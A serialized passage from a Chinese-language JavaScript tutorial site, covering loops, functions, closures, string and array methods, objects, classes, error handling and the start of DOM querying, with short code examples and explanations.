遍历数组\u002F字符串\u002FMap\u002FSet 用 for...of，拿值\nfor (const key in obj) { }                 \u002F\u002F 遍历「键」；对象用 in，数组千万别用（见下） for...in 用在数组上会给你字符串下标（'0'、'1'）而不是值，还会顺带翻出原型链上的可枚举属性，是教科书级的错误写法。数组和字符串用 for...of（或数组方法，第九章展开），普通对象用 for...in 或 Object.entries()： const user = { name: '阿蓝', age: 28 }\nfor (const [key, value] of Object.entries(user)) {\n  console.log(key, value)   \u002F\u002F 'name' '阿蓝' \u002F 'age' 28\n}",{"id":131620,"title":74293,"titles":131621,"content":131622,"level":357},"\u002Ftutorials\u002Fjs#break-与-continue",[61741,63700],"break：立即跳出整个循环（找到就收工的场景）； continue：跳过本轮剩余部分，直接进入下一轮（过滤场景）。 for (let i = 1; i \u003C= 60; i++) {\n  if (i % 3 === 0 && i % 5 === 1) { found = i; break }   \u002F\u002F 找到即停，不空转\n}\nfor (let i = 1; i \u003C= 20; i++) {\n  if (i % 2 !== 0) continue   \u002F\u002F 奇数跳过\n  evens.push(i)\n} 写循环时始终问自己两件事：终止条件会到达吗（while (true) 必须配合 break 或明确的退出分支）；循环变量在推进吗（忘记 i++ 就是无限循环）。这两类 bug 在浏览器里的表现都是页面直接卡死。",{"id":131624,"title":64229,"titles":131625,"content":131626,"level":341},"\u002Ftutorials\u002Fjs#六函数参数返回值与作用域",[61741],"函数是 JS 的基本复用单位：把一段逻辑包起来、给它起个名字、按需调用。HTML 教程里每个示例框能响应点击，背后都是函数在跑。这一章讲清函数的写法、参数与返回值的规则；作用域与 this 留到第七章，因为那要先消化一个事实：函数是可以被传来传去的值。",{"id":131628,"title":64242,"titles":131629,"content":131630,"level":357},"\u002Ftutorials\u002Fjs#三种写法与提升",[61741,64229],"\u002F\u002F ① 函数声明\nfunction double(n) { return n * 2 }\n\n\u002F\u002F ② 函数表达式：把匿名函数存进变量\nconst double = function (n) { return n * 2 }\n\n\u002F\u002F ③ 箭头函数：表达式场景的简写\nconst double = (n) => { return n * 2 }\nconst double = n => n * 2   \u002F\u002F 单参数省括号，单表达式省 {} 和 return 函数声明有提升（hoisting）：整个函数被搬到作用域顶部，声明之前也能调用。函数表达式与箭头函数存进变量，遵守变量自己的规则——const 声明的处于 TDZ，先调用直接报 ReferenceError。实践中不要依赖提升，先定义后使用。",{"id":131632,"title":64391,"titles":131633,"content":131634,"level":357},"\u002Ftutorials\u002Fjs#参数默认值只在-undefined-时触发",[61741,64229],"function greet(name = '游客') { return '你好，' + name }\n\ngreet()            \u002F\u002F '你好，游客' —— 没传参\ngreet(undefined)   \u002F\u002F '你好，游客' —— 传了 undefined\ngreet('')          \u002F\u002F '你好，'     —— 空串是一个「值」，不触发默认\ngreet(null)        \u002F\u002F '你好，null' —— null 也是一个「值」 这条规则与第四章的 ?? 完全一致：只有 undefined 代表「没有」。 与之配套的两条机制： 剩余参数 function sum(...nums)：把所有实参收成一个真数组（能用 map、reduce）。旧代码里的 arguments 是类数组，新代码不要再用了。 展开运算符 sum(...[1, 2, 3])：反过来把数组摊成一个个实参。同一个 ...，放在形参位置是「收集」，放在实参位置是「展开」。",{"id":131636,"title":64524,"titles":131637,"content":131638,"level":357},"\u002Ftutorials\u002Fjs#返回值没有-return-就是-undefined",[61741,64229],"函数没有 return（或 return 后面没有值）→ 返回 undefined； return 会立即结束函数，后面的代码不再执行——利用这一点写「守卫子句」，把异常情况提前挡掉： function divide(a, b) {\n  if (b === 0) return '除数不能为 0'   \u002F\u002F 守卫：先处理掉不能算的情况\n  return a \u002F b                        \u002F\u002F 主干只有一行\n} 函数只能返回一个值；想返回多个数据就包成对象或数组，调用方解构：const { total, count } = stats(list)。 return 关键字后面不要换行——ASI 会在行尾补分号，把「返回值」悄悄变成「返回 undefined」。",{"id":131640,"title":64625,"titles":131641,"content":131642,"level":357},"\u002Ftutorials\u002Fjs#箭头函数的适用边界",[61741,64229],"简写谱系（对应示例里的表格）： (a, b) => { return a + b }   \u002F\u002F 完整形式\n(a, b) => a + b              \u002F\u002F 单表达式：{} 与 return 都能省\nn => n * 2                   \u002F\u002F 单参数：括号能省\n() => 42                     \u002F\u002F 无参数：括号不能省\nn => ({ id: n })             \u002F\u002F 想直接返回对象字面量：要包一层括号 选择建议：需要名字、需要复用时用函数声明；作为回调「一行搞定」时用箭头函数。箭头函数有两条硬限制，都和第七章的内容有关：它没有自己的 this（捕获外层的），也不能当构造函数（不能 new）。",{"id":131644,"title":64747,"titles":131645,"content":131646,"level":357},"\u002Ftutorials\u002Fjs#函数是一等公民",[61741,64229],"在 JS 里函数就是一种值：能存进变量、放进对象、当参数传、当返回值返回。把函数当参数传给另一个函数（回调）是最常见的用法——事件监听、setTimeout、数组方法都在用： button.addEventListener('click', () => { … })   \u002F\u002F 点击时由浏览器回调\nsetTimeout(() => { … }, 1000)                     \u002F\u002F 1 秒后回调一次\n[1, 2, 3].map(n => n * 2)                         \u002F\u002F map 对每个元素回调 命名也对号入座：普通函数用动词开头（fetchList、formatDate），判断类用 is \u002F has 开头（isEmpty、hasPermission），事件处理用 handle 开头（handleClick）。",{"id":131648,"title":64870,"titles":131649,"content":131650,"level":341},"\u002Ftutorials\u002Fjs#七作用域与闭包函数记住它的出生环境",[61741],"函数不只是「一段代码」，它还会记住自己被定义时所处的环境——定义时能访问哪些变量，之后无论被带到哪里调用，这份访问权都不会丢。这条性质叫词法作用域，它衍生的最著名的机制就是闭包。",{"id":131652,"title":64881,"titles":131653,"content":131654,"level":357},"\u002Ftutorials\u002Fjs#作用域链从里往外找",[61741,64870],"const site = '我的博客'          \u002F\u002F ① 全局\n\nfunction outer() {\n  const author = '阿蓝'          \u002F\u002F ② outer 的局部\n\n  function inner() {\n    const title = '第一篇'       \u002F\u002F ③ inner 的局部\n    console.log(title, author, site)   \u002F\u002F 三个都能访问：由内向外逐层找\n  }\n  inner()\n} 变量查找永远遵循「由内向外」：先在本地找，找不到去外层，再到全局，都没有就 ReferenceError。反方向不行——outer 里访问不到 inner 的 title。函数每嵌套一层，就在作用域链上串一环。",{"id":131656,"title":65006,"titles":131657,"content":131658,"level":357},"\u002Ftutorials\u002Fjs#闭包内层函数带走了外层的变量",[61741,64870],"function createCounter() {\n  let count = 0              \u002F\u002F 外层局部变量\n  return function () {\n    count += 1               \u002F\u002F 内层函数在用它\n    return count\n  }\n}\n\nconst next = createCounter()\nnext()   \u002F\u002F 1\nnext()   \u002F\u002F 2 —— count 没有在两次调用间重置 createCounter 执行完毕后，按直觉它的局部变量该被回收；但因为返回出去的内层函数仍然引用着 count，JS 让这个变量继续存活。这就是闭包的定义式描述：闭包 = 函数 + 它定义时所在的环境。 闭包的三个典型用途： 私有状态：上面的 count 外部无法直接读写，只能通过 next() 推进——模块封装的最小版本； 状态工厂：createCounter() 每次调用生成一个独立计数器，互不干扰； 一次性 \u002F 记忆化：once(fn) 让函数只生效第一次；memoize(fn) 缓存计算结果。",{"id":131660,"title":65168,"titles":131661,"content":131662,"level":357},"\u002Ftutorials\u002Fjs#经典陷阱var-循环与-let-循环",[61741,64870],"第二章提过 let 在 for 循环里「每次迭代一个新绑定」，现在能说清它救的是什么场了： for (var i = 0; i \u003C 3; i++) {\n  setTimeout(() => console.log(i), 0)   \u002F\u002F 3 3 3 —— 三段代码共享同一个 i\n}\n\nfor (let j = 0; j \u003C 3; j++) {\n  setTimeout(() => console.log(j), 0)   \u002F\u002F 0 1 2 —— 每轮 j 是独立绑定\n} var 只有一份循环变量，等回调执行时循环早已结束、i 停在 3；let 每次迭代都创建一个新绑定，回调各自记住当轮的值。用 let 写循环就是这条坑的根治方案，setTimeout 换成事件监听、数组方法回调，现象完全一样。",{"id":131664,"title":65313,"titles":131665,"content":131666,"level":357},"\u002Ftutorials\u002Fjs#内存提醒",[61741,64870],"闭包让外层变量不被回收，这既是特性也是成本：被长期持有的闭包如果引用了很大的数据（大数组、DOM 节点），会阻止它们被释放。实践上不需要紧张，只需记住一条：长生命周期的地方（全局、长期存在的定时器\u002F监听器）别无意中拖住大对象；不再需要的监听器记得移除。",{"id":131668,"title":65324,"titles":131669,"content":131670,"level":341},"\u002Ftutorials\u002Fjs#八字符串模板字符串与常用方法",[61741],"字符串是不可变的原始值（第三章）：所有「修改」方法都返回新字符串，原字符串纹丝不动。name.toUpperCase() 之后 name 还是原样——想把结果留住，要赋给变量。",{"id":131672,"title":65341,"titles":131673,"content":131674,"level":357},"\u002Ftutorials\u002Fjs#模板字符串拼接的现代写法",[61741,65324],"const user = { name: '阿蓝', points: 1280 }\n\n\u002F\u002F 旧：加号拼接，引号要数清楚\nconst msg1 = '用户 ' + user.name + ' 有 ' + user.points + ' 积分'\n\n\u002F\u002F 新：反引号模板，${} 里能放任意表达式\nconst msg2 = `用户 ${user.name} 有 ${user.points} 积分，下一级还差 ${2000 - user.points}` 模板字符串的三个能力：插入任意表达式（不是只能放变量）、跨行书写（换行不需要 \\n）、标签模板（String.raw 等高级用法，先了解即可）。拼接 HTML 片段时也用它。",{"id":131676,"title":65474,"titles":131677,"content":131678,"level":357},"\u002Ftutorials\u002Fjs#常用方法速查",[61741,65324],"方法 作用 示例 includes \u002F startsWith \u002F endsWith 包含 \u002F 以…开头 \u002F 以…结尾 'abc'.includes('b') → true indexOf 首次出现的下标，找不到返回 -1 'a-b-c'.indexOf('-') → 1 slice(start, end) 截取，支持负数下标（从尾部算） 'hello'.slice(1, 4) → 'ell' toUpperCase \u002F toLowerCase 大小写转换 比较前统一大小写：a.toLowerCase() === b.toLowerCase() trim 去掉首尾空白（表单输入必做） '  hi  '.trim() → 'hi' split 按分隔符切成数组 'a,b,c'.split(',') → ['a','b','c'] replace \u002F replaceAll 替换，支持正则 'a-b'.replaceAll('-', '+') → 'a+b' repeat \u002F padStart \u002F padEnd 重复 \u002F 补齐 '7'.padStart(2, '0') → '07' charAt(i) \u002F at(-1) 取单个字符 '你好'.at(-1) → '好'",{"id":131680,"title":65674,"titles":131681,"content":131682,"level":357},"\u002Ftutorials\u002Fjs#两个值得单独说的点",[61741,65324],"判断包含时 indexOf 的 -1。 if (str.indexOf('x')) 是错误写法：找不到返回 -1，是真值，if 居然会通过。正确写法是用 includes，或者显式写 if (str.indexOf('x') !== -1)。 slice 与 substring 的区别。 负数下标时 slice(-3) 表示「从倒数第 3 个开始」；substring 会把负数当 0，且参数顺序颠倒时自动交换——行为不一致且难记，统一用 slice。",{"id":131684,"title":65729,"titles":131685,"content":131686,"level":341},"\u002Ftutorials\u002Fjs#九数组增删改查与-map-filter-reduce",[61741],"数组是有序的值的集合，日常写法是字面量 [1, 2, 3]。它同时是「列表」也是「栈\u002F队列」两种用法的载体：一端进出用 push \u002F pop，两端进出用 push \u002F shift。",{"id":131688,"title":65750,"titles":131689,"content":131690,"level":357},"\u002Ftutorials\u002Fjs#创建与访问",[61741,65729],"const langs = ['HTML', 'CSS', 'JavaScript']   \u002F\u002F 字面量，最常用\nconst empty = []                               \u002F\u002F 空数组\nconst grid = Array.from({ length: 3 }, (_, i) => i * 2)   \u002F\u002F [0, 2, 4]，由长度生成\n\nlangs[0]        \u002F\u002F 'HTML'，下标从 0 开始\nlangs.at(-1)    \u002F\u002F 'JavaScript'，负数从尾部数，比 langs[langs.length - 1] 干净\nlangs.length    \u002F\u002F 3，长度是属性不是方法 访问不存在的下标不报错，返回 undefined；length 可以写入（arr.length = 0 是清空数组的常用写法）。",{"id":131692,"title":65905,"titles":131693,"content":131694,"level":357},"\u002Ftutorials\u002Fjs#增删改记住哪端快",[61741,65729],"操作 方法 效果 备注 尾部加 push(x) 返回新长度 改原数组 尾部删 pop() 返回被删的元素 改原数组 头部加 unshift(x) 返回新长度 慢，整体后移 头部删 shift() 返回被删的元素 慢，整体前移 任意位置 splice(start, delCount, ...items) 返回被删元素组成的数组 就地插入\u002F删除\u002F替换三合一 截取不改原数组 slice(start, end) 返回新数组 与字符串同名方法同语义 const list = ['a', 'b', 'c']\nlist.splice(1, 1, 'B', 'B2')   \u002F\u002F 从下标 1 删 1 个，插入两个 → ['a', 'B', 'B2', 'c']\nconst copy = list.slice()      \u002F\u002F 浅拷贝一份",{"id":131696,"title":66096,"titles":131697,"content":131698,"level":357},"\u002Ftutorials\u002Fjs#遍历forof-与经典的-for",[61741,65729],"第五章已定下规则：数组用 for...of 拿值；需要下标时用经典 for，或者 arr.entries() 解构出 [index, value]。for...in 在数组上给字符串下标，继续回避。 for (const lang of langs) console.log(lang)\n\nfor (const [i, lang] of langs.entries()) {\n  console.log(i, lang)          \u002F\u002F 0 'HTML' \u002F 1 'CSS' \u002F 2 'JavaScript'\n}",{"id":131700,"title":66195,"titles":131701,"content":131702,"level":357},"\u002Ftutorials\u002Fjs#查找与判断",[61741,65729],"langs.includes('CSS')              \u002F\u002F true —— 包含某个值吗\nlangs.indexOf('Java')              \u002F\u002F -1 —— 找不到返回 -1（同样是那个坑）\nlangs.find(x => x.length > 4)      \u002F\u002F 'JavaScript'？不，返回第一个长度>4的元素\nlangs.findIndex(x => x === 'CSS')  \u002F\u002F 1 find 返回元素（找不到 undefined），findIndex 返回下标（找不到 -1），indexOf 严格相等比较、不做函数判断。以上是「查」，接下来一节的 map \u002F filter \u002F reduce 才是数组真正的主力。",{"id":131704,"title":66317,"titles":131705,"content":131706,"level":357},"\u002Ftutorials\u002Fjs#快速自查的三个坑",[61741,65729],"push 返回的是长度不是数组：const r = arr.push(1) 后拿 r 继续链式调用必然错——push 改的是原数组，不要接着用返回值。 splice 改原数组、slice 不改：名字只差一个字母，行为相反，拿不准时先查这条表。 sort 默认按字符串排序：[10, 2, 1].sort() 得到 [1, 10, 2]！数字排序必须传比较函数 sort((a, b) => a - b)，下一节展开。",{"id":131708,"title":66372,"titles":131709,"content":131710,"level":357},"\u002Ftutorials\u002Fjs#map-filter-reduce用回调加工数组",[61741,65729],"数组的「遍历—加工」几乎都可以用这几个方法表达，它们都以回调函数为参数（第六章的一等公民），且都不改原数组（返回新数组\u002F新值）： const nums = [1, 2, 3, 4, 5, 6]\n\nnums.map(n => n * n)              \u002F\u002F [1, 4, 9, 16, 25, 36]   每个元素变换 → 等长新数组\nnums.filter(n => n % 2 === 0)     \u002F\u002F [2, 4, 6]              按条件保留 → 变短的新数组\nnums.reduce((acc, n) => acc + n, 0)   \u002F\u002F 21                  从左到右汇总成一个值\n\nnums.find(n => n > 3)             \u002F\u002F 4       第一个满足的「元素」，没有则 undefined\nnums.findIndex(n => n > 3)        \u002F\u002F 3       第一个满足的「下标」，没有则 -1\nnums.some(n => n > 5)             \u002F\u002F true    「存在」满足的\nnums.every(n => n > 0)            \u002F\u002F true    「全部」满足\nnums.includes(4)                  \u002F\u002F true    是否包含某值（=== 比较） 三个主角的分工记住这张表： 方法 一句话 返回 什么时候用 map 逐个变换 等长新数组 「每个都要处理一遍」 filter 逐个筛选 变短（可能空）的新数组 「挑出符合条件的」 reduce 逐个累计 任意类型的一个结果 「求和 \u002F 计数 \u002F 分组 \u002F 拼字符串」 reduce 的两个参数值得盯住：(acc, n) => 新acc 的回调，加一个初始值 0。初始值不同，结果类型就不同——传 0 求和、传 [] 收集、传 {} 分组。不传初始值时以第一个元素为起点，空数组会直接报错，所以请始终传初始值。",{"id":131712,"title":66722,"titles":131713,"content":131714,"level":357},"\u002Ftutorials\u002Fjs#链式调用与短路顺序",[61741,65729],"const products = [\n  { name: '键盘', price: 399, onSale: true },\n  { name: '鼠标', price: 129, onSale: false },\n  { name: '显示器', price: 1499, onSale: true }\n]\n\nconst names = products\n  .filter(p => p.onSale)          \u002F\u002F 先筛\n  .map(p => `${p.name} ¥${p.price}`)  \u002F\u002F 再变换 链条顺序影响性能与可读性：先 filter 后 map 能让 map 处理更少的元素；链条不要超过三步，更长的逻辑抽成命名函数。",{"id":131716,"title":74322,"titles":131717,"content":131718,"level":357},"\u002Ftutorials\u002Fjs#sort-与浅拷贝",[61741,65729],"[10, 2, 1].sort()                     \u002F\u002F [1, 10, 2] ✗ 默认转字符串逐字符比较\n[10, 2, 1].sort((a, b) => a - b)      \u002F\u002F [1, 2, 10] ✓ 升序\n[10, 2, 1].sort((a, b) => b - a)      \u002F\u002F [10, 2, 1] ✓ 降序\n\nconst sorted = [...nums].sort((a, b) => a - b)   \u002F\u002F 想要新数组：先浅拷贝再排 sort 是这张表里唯一改原数组的方法（reverse 同理），所以复制一份再排序是最常见的写法：[...nums] 是展开成新数组（浅拷贝），Array.from(nums) 与 nums.slice() 等价。注意「浅」——数组元素若是对象，拷贝后两边的对象仍是同一批。",{"id":131720,"title":67073,"titles":131721,"content":131722,"level":357},"\u002Ftutorials\u002Fjs#什么时候不用函数式三件套",[61741,65729],"需要 break、需要「边遍历边改原数组」、或者逻辑里有多个相互牵扯的状态时，老老实实写 for...of。方法链是给「数据管道」用的，不是用来炫技的。",{"id":131724,"title":67086,"titles":131725,"content":131726,"level":341},"\u002Ftutorials\u002Fjs#十对象属性的读写遍历与复制",[61741],"对象是「键值对的集合」，用来给一组相关的数据一个名字：user.name、user.age 显然比 userName、userAge 两个散装变量好维护。",{"id":131728,"title":67105,"titles":131729,"content":131730,"level":357},"\u002Ftutorials\u002Fjs#字面量读写与点方括号",[61741,67086],"const user = {\n  name: '阿蓝',\n  age: 28,\n  'favorite-lang': 'JavaScript',   \u002F\u002F 键名含连字符：写字面量时必须加引号\n  greet() { return '你好' }        \u002F\u002F 方法简写（等价于 greet: function () {}）\n}\n\nuser.name              \u002F\u002F '阿蓝'，点访问：键名是合法标识符时用\nuser['favorite-lang']  \u002F\u002F 方括号访问：键名是变量或是非法标识符时必须用\nconst key = 'age'\nuser[key]              \u002F\u002F 28 —— 方括号里放表达式\n\nuser.city = '杭州'      \u002F\u002F 新增或改写\ndelete user.city       \u002F\u002F 删除（少用；改成置 null 或重建对象更清晰）\n'age' in user          \u002F\u002F true，判断键是否存在\nuser.email ?? '未填'    \u002F\u002F 读可能不存在的键 → undefined，用 ?? 兜底",{"id":131732,"title":67275,"titles":131733,"content":131734,"level":357},"\u002Ftutorials\u002Fjs#属性的简写与解构",[61741,67086],"const name = '阿蓝', age = 28\nconst user = { name, age }        \u002F\u002F 属性简写：变量名即键名\n\nconst { name: nick, age = 18 } = user   \u002F\u002F 解构：取出并改名、给默认值\nconst { name, ...rest } = user          \u002F\u002F 剩余属性收成新对象（浅拷贝） 解构可以嵌套（const { profile: { city } } = user），函数参数位置也常用：function render({ title, date = '今天' }) { … }——调用方传对象，顺序无关、可省略可读性好。",{"id":131736,"title":67388,"titles":131737,"content":131738,"level":357},"\u002Ftutorials\u002Fjs#遍历与键值对",[61741,67086],"Object.keys(user)      \u002F\u002F ['name', 'age', 'favorite-lang'] 键数组\nObject.values(user)    \u002F\u002F 值数组\nObject.entries(user)   \u002F\u002F [[键, 值], …]，配合 for...of 或 Object.fromEntries\nObject.assign({}, user)      \u002F\u002F 浅拷贝合并（老写法）\nconst clone = { ...user }    \u002F\u002F 展开浅拷贝，等价且更常用\n{ ...a, ...b }               \u002F\u002F 合并：同名键后者覆盖前者 遍历对象的位置回忆第五章：for...of 不能直接用在对象上（对象不是可迭代的），要 Object.entries() 转成数组再 for...of。",{"id":131740,"title":67497,"titles":131741,"content":131742,"level":357},"\u002Ftutorials\u002Fjs#引用语义的三个现实后果",[61741,67086],"第三章说过「对象传引用」，落到日常就是三件事： const a = { n: 1 }\nconst b = a          \u002F\u002F 别名：不是拷贝！\nb.n = 2              \u002F\u002F a.n 也变成 2\n\nconst c = { ...a }   \u002F\u002F 浅拷贝：第一层分开，嵌套对象仍共享\na.inner === c.inner  \u002F\u002F 若 a 有嵌套对象，这是 true\n\nJSON.parse(JSON.stringify(obj))   \u002F\u002F 深拷贝的「穷人版」：丢函数、丢 undefined、日期变字符串 以及「不可变更新」的习惯：改状态时别原地改，创建一个改好的新对象。这一习惯对后面 DOM\u002F框架更新（以及本站 Vue 代码）至关重要： \u002F\u002F 原地改：谁引用了它都会被牵连\nuser.age = 29\n\n\u002F\u002F 不可变更新：生成新对象，旧对象保持原样\nconst nextUser = { ...user, age: 29 }",{"id":131744,"title":67668,"titles":131745,"content":131746,"level":357},"\u002Ftutorials\u002Fjs#什么时候用对象什么时候用-map",[61741,67086],"键都是字符串\u002F符号、结构固定（像一个「记录」）→ 对象字面量；键是动态的、任意类型的，或频繁增删 → Map： const cache = new Map()\ncache.set('k', 1).set(otherObj, 2)   \u002F\u002F 键可以是对象，且清楚知道自己有几项\ncache.get('k')       \u002F\u002F 1\ncache.has(otherObj)  \u002F\u002F true Map 还保证插入顺序、有直接的 size 属性；对象要数数量得 Object.keys(obj).length。日常优先对象，遇到「以对象为键」或大吞吐增删再换 Map。",{"id":131748,"title":67780,"titles":131749,"content":131750,"level":341},"\u002Ftutorials\u002Fjs#十一class把同类对象的模板写成代码",[61741],"对象字面量适合单件数据；如果同样结构的对象要反复创建、还要带一批方法，每次都手写字面量就是重复粘贴。这时用 class：先画一张图纸（类），再按图纸批量生产（实例）。new User('阿蓝', 28) 读作「按 User 的图纸造一个阿蓝」。",{"id":131752,"title":67798,"titles":131753,"content":131754,"level":357},"\u002Ftutorials\u002Fjs#constructor-与-new实例是怎么诞生的",[61741,67780],"class User {\n  constructor(name, age) {\n    this.name = name   \u002F\u002F this 指向正在被创建的那个实例\n    this.age = age\n  }\n  greet() {\n    return `你好，我是 ${this.name}`   \u002F\u002F 方法省略 function 关键字\n  }\n}\n\nconst alice = new User('阿蓝', 28)\nalice.greet()   \u002F\u002F '你好，我是阿蓝' new 做四件事：创建一个空对象 → 把它的原型指向 User.prototype → 以这个对象为 this 执行 constructor → 返回它。constructor 里放「每个实例各自不同」的数据（名字、年龄）；方法写在类体里，由所有实例共享。",{"id":131756,"title":67953,"titles":131757,"content":131758,"level":357},"\u002Ftutorials\u002Fjs#方法在原型上实例只装数据",[61741,67780],"Object.keys(alice)                             \u002F\u002F ['name', 'age']——实例自己的属性\nalice.hasOwnProperty('greet')                  \u002F\u002F false——greet 不在实例自己身上\n'greet' in alice                               \u002F\u002F true——顺着原型链找得到\nObject.getPrototypeOf(alice) === User.prototype  \u002F\u002F true\nObject.getOwnPropertyNames(User.prototype)     \u002F\u002F ['constructor', 'greet'] 读 alice.greet 时，引擎先看实例自己有没有，没有就顺着 User.prototype 找——找到才执行。这条「实例 → 类原型 → 父类原型 → Object.prototype → null」的查找路径就是原型链。方法只存一份放在原型上，而不是每个实例复制一份，这是它省内存的原因。",{"id":131760,"title":68060,"titles":131761,"content":131762,"level":357},"\u002Ftutorials\u002Fjs#getter把算出来的值伪装成属性",[61741,67780],"class User {\n  \u002F\u002F …constructor 同上\n  get profile() {\n    return `${this.name}（${this.age} 岁）`\n  }\n}\n\nalice.profile   \u002F\u002F '阿蓝（28 岁）'——写法像读属性，实际执行函数 getter 适合由已有数据派生的值：不存副本、每次读取实时计算，也就不会出现「改了 name 却忘了同步副本」的不一致。setter（set profile(v) { … }）同理，把一次赋值变成校验或转换的入口。",{"id":131764,"title":74337,"titles":131765,"content":131766,"level":357},"\u002Ftutorials\u002Fjs#私有字段-开头",[61741,67780],"第七章用闭包实现过「外部改不了」的私有状态，语言的现代方案是 # 字段： class Counter {\n  #count = 0                    \u002F\u002F 私有字段：# 开头\n  increment() { return ++this.#count }\n}\n\nconst c = new Counter()\nc.increment()   \u002F\u002F 1\nc.count         \u002F\u002F undefined——外部读不到 #count\nc.#count        \u002F\u002F 语法错误：类外部根本写不出这个表达式 # 不是命名约定，是语法层面的封闭：外部看不见、改不动，只有类自己的方法能碰。余额、口令这类「绝不外泄」的数据就用它包装。",{"id":131768,"title":68256,"titles":131769,"content":131770,"level":357},"\u002Ftutorials\u002Fjs#static属于类整体不属于实例的成员",[61741,67780],"class User {\n  static population = 0   \u002F\u002F 静态字段\n  constructor(name) {\n    this.name = name\n    User.population++\n  }\n}\n\nUser.population   \u002F\u002F 3——问类要，不是问实例要\nalice.population  \u002F\u002F undefined——实例身上没有 static 描述类整体的状态或工具：实例计数、User.fromJSON() 这样的工厂方法、配置常量。判断标准：这件事跟某一个实例有关（alice.greet()），还是跟类整体有关（User.population）。",{"id":131772,"title":68363,"titles":131773,"content":131774,"level":357},"\u002Ftutorials\u002Fjs#继承extends-与-super",[61741,67780],"class Admin extends User {\n  constructor(name, age, level) {\n    super(name, age)          \u002F\u002F 先调父类 constructor，把父类那半建好\n    this.level = level        \u002F\u002F 再补子类独有的属性\n  }\n  greet() {\n    return `${super.greet()}，也是管理员`   \u002F\u002F 覆盖父类方法，同时保留父类实现\n  }\n}\n\nconst admin = new Admin('青梧', 30, 3)\nadmin instanceof Admin   \u002F\u002F true\nadmin instanceof User    \u002F\u002F true——原型链把两代连在一起\nalice instanceof Admin   \u002F\u002F false——普通用户不是管理员 子类 constructor 里有一条硬规则：必须先 super() 才能使用 this——父类那半没建好之前，this 还不存在。子类不写 constructor 时，会自动调用父类 constructor。",{"id":131776,"title":68553,"titles":131777,"content":131778,"level":357},"\u002Ftutorials\u002Fjs#什么时候用-class",[61741,67780],"要批量制造结构相同、自带行为的对象（用户、订单、游戏角色）→ class 只有一个存数据的单件对象 → 对象字面量就够，不必包一层类 一堆互相无状态的纯计算 → 普通函数或模块组织更合适 判断标准不是「高级不高级」，而是「有没有实例这回事」。没有 new 的冲动，就用不着 class。",{"id":131780,"title":68584,"titles":131781,"content":68587,"level":341},"\u002Ftutorials\u002Fjs#十二错误处理错了以后怎么办",[61741],{"id":131783,"title":68591,"titles":131784,"content":131785,"level":357},"\u002Ftutorials\u002Fjs#错误是对象error-自带现场信息",[61741,68584],"try {\n  JSON.parse('{oops}')\n} catch (err) {\n  err.name      \u002F\u002F 'SyntaxError'\n  err.message   \u002F\u002F 'Unexpected token o in JSON…'（措辞各浏览器略有差异）\n  err.stack     \u002F\u002F 从出错点出发的完整调用栈快照\n} try 块里任意一句抛错，本块剩下的都不执行，立刻跳到 catch；catch 跑完，程序从整个 try\u002Fcatch 之后继续。name 是错误类型，message 是人话描述，stack 是调试时最有价值的部分——顺着它能找到谁一路调用到这个出错点。",{"id":131787,"title":68672,"titles":131788,"content":131789,"level":357},"\u002Ftutorials\u002Fjs#throw主动把错误扔出去",[61741,68584],"function divide(a, b) {\n  if (b === 0) throw new RangeError('除数不能为 0')\n  return a \u002F b\n} throw 后面可以跟任何值，但永远抛 Error 实例：只有它自带 name \u002F message \u002F stack，能被工具链识别。抛裸字符串（throw '出错啦'）会让 catch 方无从下手。",{"id":131791,"title":68750,"titles":131792,"content":131793,"level":357},"\u002Ftutorials\u002Fjs#try-catch-finally完整形态",[61741,68584],"function readSetting(key) {\n  let text\n  try {\n    text = localStorage.getItem(key)\n    return text === null ? null : JSON.parse(text)\n  } catch (err) {\n    console.warn('读设置失败，用默认值', err.message)\n    return null\n  } finally {\n    console.log('无论成败都会执行')   \u002F\u002F 释放资源、收尾的工作放这里\n  }\n} finally 的特别之处：即使 try 里写了 return，它也先执行完（返回值先被暂存，finally 跑完才真正返回）。连接、文件句柄这类「用完必须关」的东西放 finally 里。",{"id":131795,"title":68892,"titles":131796,"content":131797,"level":357},"\u002Ftutorials\u002Fjs#内置错误类型与自定义错误",[61741,68584],"常见类型：TypeError（对 null 读属性、调用了非函数）、ReferenceError（变量不存在）、RangeError（数值越界）、SyntaxError。要区分两种情况：代码本体的语法错误在解析阶段就挂了，try\u002Fcatch 根本拦不到；而 JSON.parse 收到坏数据时抛的 SyntaxError 是运行时的，能拦。 业务错误则继承 Error 自己定义： class ValidationError extends Error {\n  constructor(field, message) {\n    super(message)                 \u002F\u002F Error 负责装好 message \u002F stack\n    this.name = 'ValidationError'  \u002F\u002F 覆盖默认的 'Error'\n    this.field = field             \u002F\u002F 自定义信息：出错的是哪个字段\n  }\n}\n\ntry {\n  validate(input)\n} catch (err) {\n  if (err instanceof ValidationError) {\n    showFieldError(err.field, err.message)   \u002F\u002F 认识的错误 → 就地处理\n  } else {\n    throw err                                \u002F\u002F 不认识的 → 原样再抛\n  }\n} 自定义错误的价值在于「抛出方和捕获方有了约定」：instanceof 一判，字段名、错误文案都在，提示就能精确落到那一个输入框上。",{"id":131799,"title":69088,"titles":131800,"content":131801,"level":357},"\u002Ftutorials\u002Fjs#捕获的分寸只处理你懂的错",[61741,68584],"认识的错误就处理：给用户一个能走下去的结果（默认值、字段提示） 不认识的错误原样 throw err：里面可能藏着程序 bug，别假装没事 绝不空 catch：catch {} 把现场直接抹掉，是日后最难查的 bug 来源 能提前判断的别拿异常当流程控制：if (b === 0) return null 比 try\u002Fcatch 更直白，异常留给「意外」",{"id":131803,"title":69129,"titles":131804,"content":69132,"level":341},"\u002Ftutorials\u002Fjs#十三dom-查询怎么在页面里找到元素",[61741],{"id":131806,"title":69136,"titles":131807,"content":131808,"level":357},"\u002Ftutorials\u002Fjs#两个主力queryselector-与-queryselectorall",[61741,69129],"document.querySelector('.card')       \u002F\u002F 第一个匹配 → 元素；找不到 → null\ndocument.querySelectorAll('.card')    \u002F\u002F 全部匹配 → NodeList；找不到 → 空集合\ndocument.getElementById('staff-list') \u002F\u002F 按 id 直取 括号里写的就是 CSS 教程里那套选择器，原样搬来：.tag、#list、li.card、[data-role=\"backend\"]，还能组合 ul > li:first-child。CSS 学过的选择器知识在这里全额复用。 两个高频要点： querySelector 找不到返回 null——习惯写法是先判空再操作（if (!el) return），或者随手 ?. querySelectorAll 返回的 NodeList 不是数组：有 forEach、能 for...of，但没有 map \u002F filter；要加工先 Array.from()",{"id":131810,"title":69257,"titles":131811,"content":131812,"level":357},"\u002Ftutorials\u002Fjs#顺着关系走别只会从-document-全局查",[61741,69129],"const list = document.getElementById('staff-list')\nlist.children.length         \u002F\u002F 子元素个数（只算元素，不含文本节点）\nlist.firstElementChild       \u002F\u002F 